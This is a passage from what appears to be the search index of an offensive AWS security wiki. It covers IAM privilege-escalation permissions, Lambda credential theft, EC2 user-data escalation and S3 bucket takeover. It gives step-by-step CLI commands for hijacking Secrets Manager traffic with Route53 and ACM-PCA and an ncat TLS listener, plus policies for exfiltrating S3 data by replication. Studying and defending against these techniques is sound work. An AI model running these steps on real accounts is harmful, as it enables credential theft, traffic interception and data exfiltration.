permission, an adversary can attach an IAM policy to an IAM user they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamcreateaccesskey","title":"iam:CreateAccessKey","text":"<p>With access to the iam:CreateAccessKey permission, an adversary can create an IAM Access Key and Secret Access Key for other users. This would allow them to create credentials for more privileged users and have access to their privileges.</p> <p></p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamcreateloginprofile","title":"iam:CreateLoginProfile","text":"<p>With access to the iam:CreateLoginProfile permission, an adversary can create a password for a more privileged IAM user to login to the console as. Note: if a password is already set, you must use iam:UpdateLoginProfile instead.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamcreatepolicyversion","title":"iam:CreatePolicyVersion","text":"<p>With access to the iam:CreatePolicyVersion permission, an adversary can create a new version of a existing policy with more privilege. If the adversary has access to the principal that policy is attached to, they can elevate their privileges.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleterolepermissionsboundary","title":"iam:DeleteRolePermissionsBoundary","text":"<p>With access to the iam:DeleteRolePermissionsBoundary permission, an adversary can remove a permissions boundary from a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies. </p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleterolepolicy","title":"iam:DeleteRolePolicy","text":"<p>With access to the iam:DeleteRolePolicy permission, an adversary can delete an inline policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleteuserpermissionsboundary","title":"iam:DeleteUserPermissionsBoundary","text":"<p>With access to the iam:DeleteUserPermissionsBoundary permission, an adversary can remove a permissions boundary from a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies. </p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleteuserpolicy","title":"iam:DeleteUserPolicy","text":"<p>With access to the iam:DeleteUserPolicy permission, an adversary can delete an inline policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdetachrolepolicy","title":"iam:DetachRolePolicy","text":"<p>With access to the iam:DetachRolePolicy permission, an adversary can remove a managed policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdetachuserpolicy","title":"iam:DetachUserPolicy","text":"<p>With access to the iam:DetachUserPolicy permission, an adversary can remove a managed policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-autoscalingcreatelaunchconfiguration","title":"iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, autoscaling:CreateLaunchConfiguration,","text":"<p>With access to the iam:PassRole, autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, and autoscaling:UpdateAutoScalingGroup permissions, an adversary can create a launch configuration and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-ec2createlaunchtemplate","title":"iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, ec2:CreateLaunchTemplate","text":"<p>With access to the iam:PassRole, ec2:CreateLaunchTemplate, autoscaling:CreateAutoScalingGroup, and autoscaling:UpdateAutoScalingGroup permissions, an adversary can create a launch template and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-cloudformationcreatestack","title":"iam:PassRole, cloudformation:CreateStack","text":"<p>With access to the iam:PassRole and cloudformation:CreateStack permissions, an adversary can create a new CloudFormation stack and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-codestarcreateproject","title":"iam:PassRole, codestar:CreateProject","text":"<p>With access to the iam:PassRole and codestar:CreateProject permissions, an adversary can create a new CodeStar project and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role including that of an administrator.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-datapipelineactivatepipeline-datapipelinecreatepipeline-datapipelineputpipelinedefinition","title":"iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition","text":"<p>With access to the iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, and datapipeline:PutPipelineDefinition permissions, an adversary can create a new pipeline and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by DataPipeline and that role must have greater privileges (or at least different ones) than the principal the adversary controls.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-ec2runinstances","title":"iam:PassRole, ec2:RunInstances","text":"<p>With access to the iam:PassRole and ec2:RunInstances permissions, an adversary can create a new EC2 instance and pass a more privileged role to it.</p> <p>This can be taken advantage of with the following one-liner:</p> <p></p> <p>Some things to note: The instance profile must already exist, and (realistically) it must have greater permissions than the role you have access to. If you also have the ability to create a role, this can be leveraged (although you may as well set the trust policy of that role to one you control at that point). The role that is being passed must have a trust policy allowing the EC2 service to assume it. You cannot pass arbitrary roles to an EC2 instance.</p> <p>A common misconception about this attack is that an adversary must have access to an existing SSH key, or be able to spawn an SSM session. This is not actually true, you can leverage user data to perform an action on the host. One common example is to have the EC2 instance curl the metadata service, retrieve the IAM credentials, and then send them to an attacker controlled machine using curl.</p> <p>Another (stealthier) example would be to perform all your API operations at once in the user-data script. This way you are not dinged with the IAM credential exfiltration finding (which can be bypassed).</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-gluecreatedevendpoint","title":"iam:PassRole, glue:CreateDevEndpoint","text":"<p>With access to the iam:PassRole and glue:CreateDevEndpoint permissions, an adversary can create a new Glue development endpoint and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-gluecreatejob","title":"iam:PassRole, glue:CreateJob","text":"<p>With access to the iam:PassRole and glue:CreateJob permissions, an adversary can create a new Glue job and pass in a more privileged role. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The glue:StartJobRun privilege would allow for the job to be run.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-glueupdatejob","title":"iam:PassRole, glue:UpdateJob","text":"<p>With access to the iam:PassRole and glue:UpdateJob permissions, an adversary can update the role and command associated with a Glue job. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The glue:StartJobRun privilege or some pre-existing trigger could cause the job to run.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-lambdaaddpermission-lambdacreatefunction","title":"iam:PassRole, lambda:AddPermission, lambda:CreateFunction","text":"<p>With access to the iam:PassRole, lambda:AddPermission, and lambda:CreateFunction permissions, an adversary can create a Lambda function with an existing role. This function could then by updated with lambda:AddPermission to allow another principal in another AWS account the permission to invoke it. It is worth noting that the AWS account must already contain a role that can be assumed by Lambda.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-lambdacreateeventsourcemapping-lambdacreatefunction","title":"iam:PassRole, lambda:CreateEventSourceMapping, lambda:CreateFunction","text":"<p>With access to the iam:PassRole, lambda:CreateEventSourceMapping, and lambda:CreateFunction permissions, an adversary can create a Lambda function with an existing privileged role and associating it with a DynamoDB table. Then, when a new record is inserted into the table, the Lambda function will trigger with the privilege of the passed in role.</p> <p>It is worth noting that the AWS account must already contain a role that can be assumed by Lambda. Additionally, while not required, it may be beneficial to have the dynamodb:CreateTable and dynamodb:PutItem permissions to trigger this yourself.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-lambdacreatefunction-lambdainvokefunction","title":"iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction","text":"<p>With access to the iam:PassRole, lambda:CreateFunction, and lambda:InvokeFunction permissions, an adversary can create a new Lambda function and pass an existing role to it. They can then invoke the function allowing them access to the privileges of the role associated with the function. It is worth noting that unless the adversary can create a role, they must use an already existing role that can be assumed by Lambda.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamputgrouppolicy","title":"iam:PutGroupPolicy","text":"<p>With access to the iam:PutGroupPolicy permission, an adversary can create an inline policy for a group they are in and give themselves administrator access to the AWS account.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamputrolepermissionsboundary","title":"iam:PutRolePermissionsBoundary","text":"<p>With access to the iam:PutRolePermissionsBoundary permission, an adversary can update a permissions boundary attached to a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies. </p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamputrolepolicy","title":"iam:PutRolePolicy","text":"<p>With access to the iam:PutRolePolicy permission, an adversary can create an inline policy for a role they have access to and give themselves administrator access to the AWS account.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamputuserpermissionsboundary","title":"iam:PutUserPermissionsBoundary","text":"<p>With access to the iam:PutUserPermissionsBoundary permission, an adversary can update a permissions boundary attached to a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies. </p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamputuserpolicy","title":"iam:PutUserPolicy","text":"<p>With access to the iam:PutUserPolicy permission, an adversary can create an inline policy for a user they have access to and give themselves administrator access to the AWS account.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamsetdefaultpolicyversion","title":"iam:SetDefaultPolicyVersion","text":"<p>With access to the iam:SetDefaultPolicyVersion permission, an adversary can revert a policy associated with their principal to a previous version. This is useful for scenarios in which a previous version of a policy had more access than the current version.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamupdateassumerolepolicy","title":"iam:UpdateAssumeRolePolicy","text":"<p>With access to the iam:UpdateAssumeRolePolicy permission, an adversary can modify the assume-role policy of a role, allowing them to assume it. This is useful to gain access to administrator roles, or other more privileged roles.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamupdateloginprofile","title":"iam:UpdateLoginProfile","text":"<p>With access to the iam:UpdateLoginProfile permission, an adversary can change the password of an IAM user. This would allow them to log into the console as that user.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#lambdaupdatefunctioncode","title":"lambda:UpdateFunctionCode","text":"<p>With access to the lambda:UpdateFunctionCode permission, an adversary can modify an existing Lambda function's code. This would allow them to gain access to the privileges of the associated IAM role the next time the function is executed.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#lambdaupdatefunctionconfiguration","title":"lambda:UpdateFunctionConfiguration","text":"<p>With access to the lambda:UpdateFunctionConfiguration permission, an adversary can modify an existing Lambda function's configuration to add a new Lambda Layer. This Layer would then override an existing library and allow an adversary to execute malicious code under the privilege of the role associated with the Lambda function.</p>"},{"location":"aws/exploitation/lambda-steal-iam-credentials/","title":"Steal IAM Credentials and Event Data from Lambda","text":"<ul> <li> <p> Technique seen in the wild</p> <p>Reference: Compromised Cloud Compute Credentials: Case Studies From the Wild</p> </li> </ul> <p>In Lambda, IAM credentials are passed into the function via environment variables. The benefit for the adversary is that these credentials can be leaked via file read vulnerabilities such as XML External Entity attacks or SSRF that allows the file protocol. This is because \"everything is a file\".</p> <p>IAM credentials can be accessed via reading <code>/proc/self/environ</code>.</p> <p></p> <p>Note</p> <p>In the event that /proc/self/environ is blocked by a WAF, check if you can read the environment variables of other processes. This can be done by reading /proc/#/environ where '#' is some number often between 1 and 20.</p> <p>In addition to IAM credentials, Lambda functions also have event data that is passed to the function when it is started. This data is made available to the function via the runtime interface. Unlike IAM credentials, this data is accessible over standard SSRF at <code>http://169.254.100.1:9001/2018-06-01/runtime/invocation/next</code>. Additionally the environment variable <code>AWS_LAMBDA_RUNTIME_API</code> stores the IP address and port of the runtime interface as well.</p> <p>This will include information about what invoked the Lambda function and may be valuable depending on the context.</p> <p>Note</p> <p>Unlike IAM credentials associated with EC2 instances, there is no GuardDuty alert for stolen Lambda credentials.</p>"},{"location":"aws/exploitation/local_ec2_priv_esc_through_user_data/","title":"EC2 Privilege Escalation Through User Data","text":"<p>If you've gained a foothold on an EC2 instance, use these these techniques to escalate privileges to root/System on the host.</p>"},{"location":"aws/exploitation/local_ec2_priv_esc_through_user_data/#ec2modifyinstanceattribute","title":"ec2:ModifyInstanceAttribute","text":"<ul> <li> <p> Required IAM Permissions</p> <ul> <li>ec2:ModifyInstanceAttribute</li> </ul> </li> <li> <p> Recommended but not Required IAM Permissions</p> <ul> <li>ec2:StartInstances</li> <li>ec2:DescribeInstances</li> <li>ec2:StopInstances</li> </ul> </li> </ul> <ul> <li> <p> Original Research</p> <p>aws_pwn:elevation by Daniel Grzelak</p> </li> </ul> <p>If an adversary has access to the modify-instance attribute permission they can leverage it to escalate to root/System on an EC2 instance.</p> <p>Usually, user data scripts are only run the first time the instance is started, however this can be changed using cloud-init to run every time the instance restarts.</p> <p>To do this, first create a file in the following format.</p> <pre><code>Content-Type: multipart/mixed; boundary=\"//\"\nMIME-Version: 1.0\n\n--//\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nMIME-Version: 1.0\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config.txt\"\n\n#cloud-config\ncloud_final_modules:\n- [scripts-user, always]\n\n--//\nContent-Type: text/x-shellscript; charset=\"us-ascii\"\nMIME-Version: 1.0\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"userdata.txt\"\n\n#!/bin/bash\n**commands here**\n--//\n</code></pre> <p>Modify the <code>commands here</code> section to do whatever action you want. Setting a reverse shell, adding an ssh key to the default user, etc. are all good options.</p> <p>Once you've done that, convert the file to base64. Linux can do this with the following command.</p> <p><code>base64 file.txt &gt; file.b64.txt</code></p> <p>Windows can do this with the following command.</p> <p><code>certutil -encode file.txt tmp.b64 &amp;&amp; findstr /v /c:- tmp.b64 &gt; file.b64.txt</code></p> <p>Now that you've base64 encoded your payload, you will leverage the ec2:ModifyInstanceAttribute API call to change the user data of the target instance. </p> <p>Note</p> <p>The instance will need to be stopped to modify its user data. You'll either have to stop it yourself, or wait for something else to stop it.</p> <pre><code>aws ec2 modify-instance-attribute \\\n--instance-id=xxx \\\n--attribute userData \\\n--value file://file.b64.txt\n</code></pre> <p>With that change made, simply start the instance again and your command will be executed with root/System.</p>"},{"location":"aws/exploitation/local_ec2_priv_esc_through_user_data/#leverage-scripts-in-s3","title":"Leverage scripts in S3","text":"<p>A common pattern when using EC2 is to define a user data script to be run when an instance is first started or after a reboot. These scripts are typically used to install software, download and set a config, etc. Oftentimes the scripts and packages are pulled from S3 and this introduces an opportunity for a developer/ops person to make a mistake.</p> <p>If the IAM role is too permissive and allows the role to write to that location, an adversary can leverage this for privilege escalation. Additionally, if there is any other kind of misconfiguration on the bucket itself, or another role which has access gets compromised, an adversary can take advantage of this as well.</p> <p>Take the following user data script:</p> <pre><code>#!/bin/bash\naws s3 cp s3://example-boot-bucket/start_script.sh /root/start_script.sh\nchmod +x /root/start_script.sh\n/root/start_script.sh\n</code></pre> <p>On first launch, the EC2 instance will pull the start_script from S3 and will run it. If an adversary can write to that location, they can escalate privileges or gain control of the EC2 instance.</p> <p>Note</p> <p>In addition to new instances being spun up or after a reboot, poisoning the scripts/applications can also effect EC2 instances in an Auto Scaling Group.</p>"},{"location":"aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/","title":"DNS and CloudFront Domain Takeover via Deleted S3 Buckets","text":"<ul> <li> <p> Additional Resources</p> <p>Discover Dangling Domains that point to your cloud assets to prevent subdomain takeover</p> </li> <li> <p> Tools mentioned in this article</p> <p>domain-protect: OWASP Domain Protect - prevent subdomain takeover.  </p> </li> </ul> <p>Utilizing various techniques for recon and enumeration, an attacker can discover orphaned Cloudfront distributions or DNS Records that are attempting to serve content from an S3 bucket that no longer exists. If an adversary finds one of these, they can create an S3 bucket in their own account and use it to serve malicious content. This content would then be distributed by the victim, and appear to be legitimate by an outside observer.</p> <p>Note</p> <p>Previously, calls to a CloudFront distribution backed by an S3 bucket that was deleted would result in a <code>NoSuchBucket</code> error. For example:</p> <pre><code>&lt;Error&gt;\n&lt;Code&gt;NoSuchBucket&lt;/Code&gt;\n&lt;Message&gt;The specified bucket does not exist&lt;/Message&gt;\n&lt;BucketName&gt;hackingthe.cloud&lt;/BucketName&gt;\n&lt;RequestId&gt;68M9C1KTARF9FBYN&lt;/RequestId&gt;\n&lt;HostId&gt;RpbdvVU9AXidVVI/1zD+WTwYdVI5YMqQNJShmf6zJlztBVyINq8TtqbzWpThdi/LivlOWRVCPVs=&lt;/HostId&gt;\n&lt;/Error&gt;\n</code></pre> <p>This made it easy for attackers to identify the bucket name and quickly create their own to serve malicious content. As of late 2023, this behavior has been changed. Now CloudFront distributions pointing to deleted S3 buckets will return a <code>NotFound</code> error, and will not include the bucket name. This is a clear security improvement from AWS and makes it more difficult for an adversary to abuse.</p> <p>If an adversary can enumerate the deleted bucket name through other means they can perform the attack as normal.</p> <p>While there are a variety of ways in which this could be harmful, typically an adversary would serve JavaScript content that could be used to impact other parts of the domain. An adversary could use this to potentially steal browser cookies, perform actions as the user, and more.</p> <p>Tip</p> <p>Misconfigurations such as these are typically caused by poor hygiene in retiring cloud resources. Always be sure to delete DNS records first to potentially mitigate these issues. There are automated services out there that will automate the discovery of vulnerable domains/CloudFront distributions such as OWASP's domain-protect.</p>"},{"location":"aws/exploitation/route53_modification_privilege_escalation/","title":"AWS API Call Hijacking via ACM-PCA","text":"<ul> <li> <p> Required IAM Permissions</p> <ul> <li>route53:CreateHostedZone</li> <li>route53:ChangeResourceRecordSets</li> <li>acm-pca:IssueCertificate</li> <li>acm-pca:GetCertificate</li> </ul> </li> <li> <p> Recommended but not Required IAM Permissions</p> <ul> <li>route53:GetHostedZone</li> <li>route53:ListHostedZones</li> <li>acm-pca:ListCertificateAuthorities</li> <li>ec2:DescribeVpcs</li> </ul> </li> </ul> <ul> <li> <p> Original Research</p> <p>Hijacking AWS API calls by niebardzo</p> </li> </ul> <p>Note</p> <p>To perform this attack the target account must already have an AWS Certificate Manager Private Certificate Authority (AWS-PCA) setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic.</p> <p>Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. If ACM-PCA is used for that and the adversary manages to get access to control both route53 and acm-pca private CA with the minimum set of permissions described above, it can hijack the application calls to AWS API taking over their IAM permissions.</p> <p>This is possible because:  </p> <ul> <li>AWS SDKs do not have Certificate Pinning</li> <li>Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names</li> <li>Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names</li> </ul> <p>For example, Secrets Manager in us-east-1 could be re-routed by an adversary setting the secretsmanager.us-east-1.amazonaws.com domain to an IP controlled by the adversary. The following creates the private hosted zone for secretsmanager.us-east-1.amazonaws.com: <pre><code>aws route53 create-hosted-zone --name secretsmanager.us-east-1.amazonaws.com --caller-reference sm4 --hosted-zone-config PrivateZone=true --vpc VPCRegion=us-east-1,VPCId=&lt;VPCId&gt;\n</code></pre></p> <p>Then set the A record for secretsmanager.us-east-1.amazonaws.com in this private hosted zone. Use the following POST body payload - mitm.json:</p> <pre><code>{\n  \"Comment\": \"&lt;anything&gt;\",\n  \"Changes\": [{\n    \"Action\": \"UPSERT\",\n    \"ResourceRecordSet\": {\n      \"Name\": \"secretsmanager.us-east-1.amazonaws.com\",\n      \"Type\": \"A\",\n      \"TTL\": 0,\n      \"ResourceRecords\": [{\"Value\": \"&lt;ip_of_adversary_instance_in_the_VPC&gt;\"}]\n    }\n  }]\n}\n</code></pre> <p>One set TTL to 0 to avoid DNS caching. Then, the advisory uses this payload to change-resource-record-sets: <pre><code>aws route53 change-resource-record-sets --hosted-zone-id &lt;id_returned_by_previous_API_call&gt; --change-batch file://mitm.json\n</code></pre></p> <p>Now, the adversary must generate the CSR and send it for signing to the ACM-PCA, CSR and private key can be generated with OpenSSL: <pre><code>openssl req -new -newkey rsa:2048 -nodes -keyout your_domain.key -out your_domain.csr\n</code></pre></p> <p>For CN (Common Name), one must provide secretsmanager.us-east-1.amazonaws.com. Then one sends the CSR to acm-pca to issue the certificate: <pre><code>aws acm-pca issue-certificate --certificate-authority-arn \"&lt;arn_of_ca_used_within_vpc&gt;\" --csr file://your_domain.csr --signing-algorithm SHA256WITHRSA --validity Value=365,Type=\"DAYS\" --idempotency-token 1234\n</code></pre></p> <p>It returns the signed certificate ARN in the response. The next call is to fetch the certificate.</p> <pre><code>aws acm-pca get-certificate --certificate-arn \"&lt;cert_arn_from_previous_response&gt;\" --certificate-authority-arn \"&lt;arn_of_ca_used_within_vpc&gt;\"\n</code></pre> <p>Once one got the signed certificate on the disk as cert.crt, the adversary starts the listener or 443/TCP and sniffs the calls to the secretsmanager.us-east-1.amazonaws.com <pre><code>sudo ncat --listen -p 443 --ssl --ssl-cert cert.crt --ssl-key your_domain.key -v\n</code></pre></p> <p>The calls can be then forwarded to the Secrets Manager VPCE to for example GetSecretValue and get unauthorized access to the data. The same action can be done with any AWS API called from the VPC - S3, KMS, etc.</p>"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/","title":"Exfiltrating S3 Data with Bucket Replication Policies","text":"<ul> <li> <p> Additional Resources</p> <p>Data exfiltration with native AWS S3 features by Ben Leembnruggen</p> </li> </ul>"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#introduction","title":"Introduction","text":"<p>S3 data replication provides the ability to copy objects to another bucket, which can be useful from an enterprise logging, integration or security perspective. This can be configure between buckets in the same account, or an unrelated account. Where this feature could be abused is where a malicious actor could input a replication policy to copy objects to an attacker controlled bucket. Objects will continue to be replicated for as long as the policy in place, applying to all future objects placed into the bucket. Using S3 batch operations, attackers can also replicate objects already in the bucket, making it a convenient method for extracting all current and future objects uploaded to the impacted bucket.</p>"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#required-configurations-and-permissions","title":"Required Configurations and Permissions","text":""},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#pre-requisites","title":"Pre-requisites","text":"<p>For bucket replication to be enabled, the following pre-requisites need to be in place:  </p> <ul> <li>The source bucket owner must have the source and destination AWS Regions enabled for their account. For the destination account, just the destination region needs to be enabled.  </li> <li>Both source and destination buckets must have versioning enabled.  </li> <li>If the source bucket has S3 Object Lock enabled, the destination buckets must also have S3 Object Lock enabled.  </li> </ul>"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#iam-role","title":"IAM Role","text":"<p>Minimum Required IAM Permissions - Source Account </p> <ul> <li><code>iam:CreateRole</code> (creating a new role)  </li> <li><code>iam:CreatePolicy</code> &amp; <code>iam:AttachRolePolicy</code> (creating a new policy) or <code>iam:PutRolePolicy</code> (modifying an existing policy)  </li> <li><code>iam:UpdateAssumeRolePolicy</code> </li> </ul> <p>Like most things in AWS, the replication service requires a user supplied role to carry out the replication on your behalf.  To replicate all data (including existing objects), an example trust policy and permission set would look something like:</p> <p>Trust Policy <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"Service\": [\n                    \"s3.amazonaws.com\",\n                    \"batchoperations.s3.amazonaws.com\"\n                ]\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n</code></pre></p> <p>IAM Permissions <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"s3:GetReplicationConfiguration\",\n                \"s3:ListBucket\",\n                \"s3:PutInventoryConfiguration\",\n                \"s3:InitiateReplication\"\n            ],\n            \"Resource\": \"*\"\n        },\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"s3:GetObjectVersionForReplication\",\n                \"s3:GetObjectVersionAcl\",\n                \"s3:GetObjectVersionTagging\"\n            ],\n            \"Resource\": \"*\"\n        },\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"s3:ReplicateObject\",\n                \"s3:ReplicateDelete\",\n                \"s3:ReplicateTags\"\n            ],\n            \"Resource\": \"*\"\n        },\n        {\n         \"Sid\": \"OnlyRequiredIfReplicatingEncryptedObjects\",\n         \"Effect\":\"Allow\",\n         \"Action\":[\n            \"kms:Decrypt\"\n         ],\n         \"Condition\":{\n            \"StringLike\":{\n               \"kms:EncryptionContext:aws:s3:arn\":[\n                  \"arn:aws:s3:::SOURCEBUCKET/*\"\n               ]\n            }\n         },\n         \"Resource\":[\n            \"KEY ID IN SOURCE ACCOUNT CURRENTLY ENCRYPTING OBJECTS\" \n         ]\n      },\n      {\n        \"Sid\": \"OnlyRequiredIfReplicatingEncryptedObjectsToo\",\n        \"Effect\":\"Allow\",\n         \"Action\":[\n            \"kms:Encrypt\"\n         ],\n         \"Condition\":{\n            \"StringLike\":{\n               \"kms:EncryptionContext:aws:s3:arn\":[\n                  \"arn:aws:s3:::DESTINATIONBUCKET/*\"\n               ]\n            }\n         },\n         \"Resource\":[\n            \"KEY ID IN DESTINATION ACCOUNT TO BE SPECIFIED IN REPLICATION POLICY\" \n         ]\n      }\n    ]\n}\n</code></pre></p>"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#kms-if-objects-are-encrypted","title":"KMS - If objects are encrypted","text":"<p>Minimum Required IAM Permissions - Source Account </p> <ul> <li><code>kms:PutKeyPolicy</code> </li> </ul> <p>Where a KMS policy is configured to only allow a subset of principals to access an encrypted S3 object, the key policy will need to be updated to allow the above replication role access to decrypt the S3 objects.</p>"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#attacker-account-configuration","title":"Attacker Account Configuration","text":"<p>Minimum Required IAM Permissions (Destination Account) </p> <ul> <li><code>s3:PutBucketPolicy</code> </li> <li><code>kms:CreateKey</code>, <code>kms:PutKeyPolicy</code> </li> <li><code>s3:PutBucketVersioning</code> </li> </ul> <p>In order for a bucket to receive logs from another account, it requires a bucket policy explicitly allowing the replication of objects across. An example of this policy is below.</p> <p>Destination Bucket Policy  <pre><code>{\n   \"Version\":\"2012-10-17\",\n   \"Id\":\"\",\n   \"Statement\":[\n      {\n         \"Sid\":\"Set permissions for objects\",\n         \"Effect\":\"Allow\",\n         \"Principal\":{\n            \"AWS\":\"arn:aws:iam::SOURCE_ACCOUNT_ID:role/S3_REPLICATION_ROLE\"\n         },\n         \"Action\":[\n            \"s3:ReplicateObject\", \n            \"s3:ReplicateDelete\"],\n         \"Resource\":\"arn:aws:s3:::DESTINATION_BUCKET/*\"\n      },\n      {\n         \"Sid\":\"Set permissions on bucket\",\n         \"Effect\":\"Allow\",\n         \"Principal\":{\n            \"AWS\":\"arn:aws:iam::SOURCE_ACCOUNT_ID:role/S3_REPLICATION_ROLE\"\n         },\n         \"Action\":[\n            \"s3:List*\", \n            \"s3:GetBucketVersioning\", \n            \"s3:PutBucketVersioning\"],\n         \"Resource\":\"arn:aws:s3:::DESTINATION_BUCKET\"\n      }\n   ]\n}\n</code></pre></p> <p>If the S3 objects in the source account are encrypted, a key must be created in the destination account to encrypt the objects on replication.  Additionally, a pre-requisite of bucket replication is that Bucket Versioning is enabled on the destination bucket.</p>"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#configuring-the-replication","title":"Configuring the replication","text":"<p>Minimum Required IAM Permissions - Source Account </p> <ul> <li><code>s3:PutBucketReplication</code> </li> <li><code>iam:PassRole</code> </li> <li><code>s3:CreateJob</code> &amp; <code>s3:UpdateJobStatus</code> (Creating and starting a S3 batch replication job)  </li> <li><code>s3:PutBucketVersioning</code> (Only if not already enabled)  </li> </ul> <p>The final step is to configure the replication between the source and destination buckets.  Depending on whether you use the CLI or console, the steps can change slightly.  The full process for both options is documented by AWS here. </p> <p>In line with the steps above, ensure that: - Specify your created S3 replication role - Replicate existing objects (Disabled by default) - Select Replicate KMS Encrypted objects if needed (Disabled by default)     - The Key ID should be the KMS key in the destination account.</p>"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#what-defenders-can-look-for","title":"What defenders can look for","text":"<ul> <li>Unknown <code>PutBucketReplication</code> or <code>JobCreated</code> events in the Cloudtrail Management trail. The <code>JobCreated</code> event is generated when an S3 Batch operation job has been created, indicating that all existing objects in a bucket are being replicated across, as opposed to only future S3 objects.</li> </ul> <ul> <li> <p>When an encrypted object is replicated, KMS <code>Decrypt</code>/<code>Encrypt</code> events will appear in a Cloudtrail Management trail, with a principalID and sts assumed role prefixed with 's3-replication'. These encryption events will reference a KMS key in another account - which may trigger certain data perimeter detections.</p> </li> <li> <p>Unknown <code>PutBucketVersioning</code> events (a pre-requisite of bucket replication) on existing S3 buckets, recorded by the Cloudtrail Management trail.</p> </li> </ul>"},{"location":"aws/exploitation/s3_server_access_logs/","title":"Data Exfiltration through S3 Server Access Logs","text":"<ul> <li> <p> Original Research</p> <p> <p>Cloud services as exfiltration mechanisms by Costas Kourmpoglou</p> </p> </li> </ul> <p>If we have control over an IAM identity that allows <code>s3:GetObject</code>, depending on the network access to the S3 service, we can use S3 server access logs to a bucket we control, and use it to exfiltrate 